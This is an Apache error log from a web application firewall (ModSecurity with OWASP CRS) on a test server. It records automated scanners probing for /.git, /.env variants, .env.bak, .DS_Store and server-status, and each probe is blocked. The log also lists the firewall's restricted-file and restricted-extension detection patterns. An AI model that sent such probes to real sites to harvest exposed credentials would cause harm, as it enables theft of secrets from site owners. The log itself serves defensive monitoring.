[Wed Nov 12 06:33:59.392550 2025] [:error] [pid 1396] [client 134.122.28.88:37512] [client 134.122.28.88] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRQcRwrlRiCtZHiRjEfVoAAAAAE"]
[Wed Nov 12 06:33:59.392755 2025] [:error] [pid 1396] [client 134.122.28.88:37512] [client 134.122.28.88] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRQcRwrlRiCtZHiRjEfVoAAAAAE"]
[Wed Nov 12 06:33:59.392914 2025] [:error] [pid 1396] [client 134.122.28.88:37512] [client 134.122.28.88] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRQcRwrlRiCtZHiRjEfVoAAAAAE"]
[Wed Nov 12 11:39:05.015214 2025] [authz_core:error] [pid 10988] [client 138.68.82.23:56362] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Wed Nov 12 11:39:06.132009 2025] [:error] [pid 11037] [client 138.68.82.23:56390] [client 138.68.82.23] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aRRjyrslcLEXuSa52i5AegAAAAc"]
[Wed Nov 12 11:39:06.132241 2025] [:error] [pid 11037] [client 138.68.82.23:56390] [client 138.68.82.23] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aRRjyrslcLEXuSa52i5AegAAAAc"]
[Wed Nov 12 11:39:06.132436 2025] [:error] [pid 11037] [client 138.68.82.23:56390] [client 138.68.82.23] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aRRjyrslcLEXuSa52i5AegAAAAc"]
[Wed Nov 12 11:39:06.253469 2025] [:error] [pid 11033] [client 138.68.82.23:56398] [client 138.68.82.23] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRRjyqp1h49yPyX50FocygAAAAI"]
[Wed Nov 12 11:39:06.253779 2025] [:error] [pid 11033] [client 138.68.82.23:56398] [client 138.68.82.23] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRRjyqp1h49yPyX50FocygAAAAI"]
[Wed Nov 12 11:39:06.254042 2025] [:error] [pid 11033] [client 138.68.82.23:56398] [client 138.68.82.23] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRRjyqp1h49yPyX50FocygAAAAI"]
[Wed Nov 12 11:39:06.379132 2025] [:error] [pid 10986] [client 138.68.82.23:56404] [client 138.68.82.23] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRRjyifGNxtsVXQgWIQfjQAAAAg"]
[Wed Nov 12 11:39:06.379351 2025] [:error] [pid 10986] [client 138.68.82.23:56404] [client 138.68.82.23] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRRjyifGNxtsVXQgWIQfjQAAAAg"]
[Wed Nov 12 11:39:06.379526 2025] [:error] [pid 10986] [client 138.68.82.23:56404] [client 138.68.82.23] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRRjyifGNxtsVXQgWIQfjQAAAAg"]
[Wed Nov 12 11:39:26.480061 2025] [:error] [pid 11159] [client 5.196.80.240:37744] [client 5.196.80.240] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRRj3mpDopbyoal3F5brMAAAABI"]
[Wed Nov 12 11:39:26.480517 2025] [:error] [pid 11159] [client 5.196.80.240:37744] [client 5.196.80.240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRRj3mpDopbyoal3F5brMAAAABI"]
[Wed Nov 12 11:39:26.480812 2025] [:error] [pid 11159] [client 5.196.80.240:37744] [client 5.196.80.240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRRj3mpDopbyoal3F5brMAAAABI"]
[Thu Nov 13 02:40:41.516769 2025] [:error] [pid 25323] [client 98.87.12.199:56136] [client 98.87.12.199] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRU3Gdn1VanY4YwrlXj_mAAAAAE"]
[Thu Nov 13 02:40:41.517078 2025] [:error] [pid 25323] [client 98.87.12.199:56136] [client 98.87.12.199] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRU3Gdn1VanY4YwrlXj_mAAAAAE"]
[Thu Nov 13 02:40:41.517245 2025] [:error] [pid 25323] [client 98.87.12.199:56136] [client 98.87.12.199] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRU3Gdn1VanY4YwrlXj_mAAAAAE"]
[Thu Nov 13 03:26:01.120091 2025] [:error] [pid 28484] [client 195.178.110.201:34362] [client 195.178.110.201] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRVBubd65J1higIsSOf_6wAAAAU"]
[Thu Nov 13 03:26:01.120710 2025] [:error] [pid 28484] [client 195.178.110.201:34362] [client 195.178.110.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRVBubd65J1higIsSOf_6wAAAAU"]
[Thu Nov 13 03:26:01.120971 2025] [:error] [pid 28484] [client 195.178.110.201:34362] [client 195.178.110.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRVBubd65J1higIsSOf_6wAAAAU"]
[Thu Nov 13 03:26:01.331924 2025] [:error] [pid 28484] [client 195.178.110.201:34362] [client 195.178.110.201] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRVBubd65J1higIsSOf_7AAAAAU"]
[Thu Nov 13 03:26:01.332333 2025] [:error] [pid 28484] [client 195.178.110.201:34362] [client 195.178.110.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRVBubd65J1higIsSOf_7AAAAAU"]
[Thu Nov 13 03:26:01.332528 2025] [:error] [pid 28484] [client 195.178.110.201:34362] [client 195.178.110.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRVBubd65J1higIsSOf_7AAAAAU"]
[Thu Nov 13 03:26:01.823389 2025] [:error] [pid 28484] [client 195.178.110.201:34362] [client 195.178.110.201] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aRVBubd65J1higIsSOf_7QAAAAU"]
[Thu Nov 13 03:26:01.823991 2025] [:error] [pid 28484] [client 195.178.110.201:34362] [client 195.178.110.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aRVBubd65J1higIsSOf_7QAAAAU"]
[Thu Nov 13 03:26:01.824271 2025] [:error] [pid 28484] [client 195.178.110.201:34362] [client 195.178.110.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aRVBubd65J1higIsSOf_7QAAAAU"]
[Thu Nov 13 03:26:02.329327 2025] [:error] [pid 28484] [client 195.178.110.201:34362] [client 195.178.110.201] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aRVBurd65J1higIsSOf_7gAAAAU"]
[Thu Nov 13 03:26:02.329845 2025] [:error] [pid 28484] [client 195.178.110.201:34362] [client 195.178.110.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aRVBurd65J1higIsSOf_7gAAAAU"]
[Thu Nov 13 03:26:02.330044 2025] [:error] [pid 28484] [client 195.178.110.201:34362] [client 195.178.110.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aRVBurd65J1higIsSOf_7gAAAAU"]
[Thu Nov 13 03:26:02.877143 2025] [:error] [pid 28484] [client 195.178.110.201:34362] [client 195.178.110.201] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aRVBurd65J1higIsSOf_7wAAAAU"]
[Thu Nov 13 03:26:02.877558 2025] [:error] [pid 28484] [client 195.178.110.201:34362] [client 195.178.110.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aRVBurd65J1higIsSOf_7wAAAAU"]
[Thu Nov 13 03:26:02.877767 2025] [:error] [pid 28484] [client 195.178.110.201:34362] [client 195.178.110.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aRVBurd65J1higIsSOf_7wAAAAU"]
[Thu Nov 13 03:26:04.113917 2025] [:error] [pid 28484] [client 195.178.110.201:34362] [client 195.178.110.201] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aRVBvLd65J1higIsSOf_8AAAAAU"]
[Thu Nov 13 03:26:04.114089 2025] [:error] [pid 28484] [client 195.178.110.201:34362] [client 195.178.110.201] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aRVBvLd65J1higIsSOf_8AAAAAU"]
[Thu Nov 13 03:26:04.114499 2025] [:error] [pid 28484] [client 195.178.110.201:34362] [client 195.178.110.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aRVBvLd65J1higIsSOf_8AAAAAU"]
[Thu Nov 13 03:26:04.114705 2025] [:error] [pid 28484] [client 195.178.110.201:34362] [client 195.178.110.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aRVBvLd65J1higIsSOf_8AAAAAU"]
[Thu Nov 13 03:26:04.531359 2025] [:error] [pid 28484] [client 195.178.110.201:34362] [client 195.178.110.201] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/HEAD"] [unique_id "aRVBvLd65J1higIsSOf_8QAAAAU"]
[Thu Nov 13 03:26:04.531798 2025] [:error] [pid 28484] [client 195.178.110.201:34362] [client 195.178.110.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/HEAD"] [unique_id "aRVBvLd65J1higIsSOf_8QAAAAU"]
